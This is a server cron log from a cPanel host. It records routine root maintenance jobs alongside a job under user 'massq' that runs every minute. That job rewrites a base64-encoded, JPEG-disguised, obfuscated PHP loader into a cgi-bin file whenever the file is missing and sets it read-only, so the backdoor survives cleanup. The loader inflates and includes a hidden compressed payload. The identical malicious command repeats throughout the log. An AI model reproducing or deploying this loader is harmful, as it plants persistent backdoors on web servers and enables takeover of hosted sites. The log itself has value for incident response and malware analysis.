Sep  5 20:58:01 server CROND[30886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:58:01 server CROND[30887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:58:01 server CROND[30888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:59:01 server CROND[31252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:59:01 server CROND[31253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:59:01 server CROND[31254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:00:01 server CROND[31648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:00:01 server CROND[31650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:00:01 server CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:00:01 server CROND[31653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:00:01 server CROND[31661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:00:01 server CROND[31659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:00:01 server CROND[31662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:00:01 server CROND[31665]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 21:00:01 server CROND[31664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:01:01 server CROND[32511]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 21:01:01 server CROND[32512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:01:01 server CROND[32514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:01:01 server CROND[32513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:01:01 server run-parts(/etc/cron.hourly)[32511]: starting 0anacron
Sep  5 21:01:01 server run-parts(/etc/cron.hourly)[32533]: finished 0anacron
Sep  5 21:02:01 server CROND[438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:02:01 server CROND[439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:02:01 server CROND[440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:03:01 server CROND[947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:03:01 server CROND[948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:03:01 server CROND[949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:04:01 server CROND[1426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:04:01 server CROND[1427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:04:01 server CROND[1428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:05:01 server CROND[1819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:05:01 server CROND[1821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:05:01 server CROND[1822]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:05:01 server CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:05:01 server CROND[1832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:05:01 server CROND[1829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:05:01 server CROND[1827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:05:01 server CROND[1828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:06:01 server CROND[2770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:06:01 server CROND[2771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:06:01 server CROND[2769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:07:01 server CROND[3129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:07:01 server CROND[3130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:07:01 server CROND[3132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:08:01 server CROND[3701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:08:01 server CROND[3702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:08:01 server CROND[3703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:09:01 server CROND[4075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:09:01 server CROND[4076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:09:01 server CROND[4077]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 21:09:01 server CROND[4078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:10:01 server CROND[4455]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
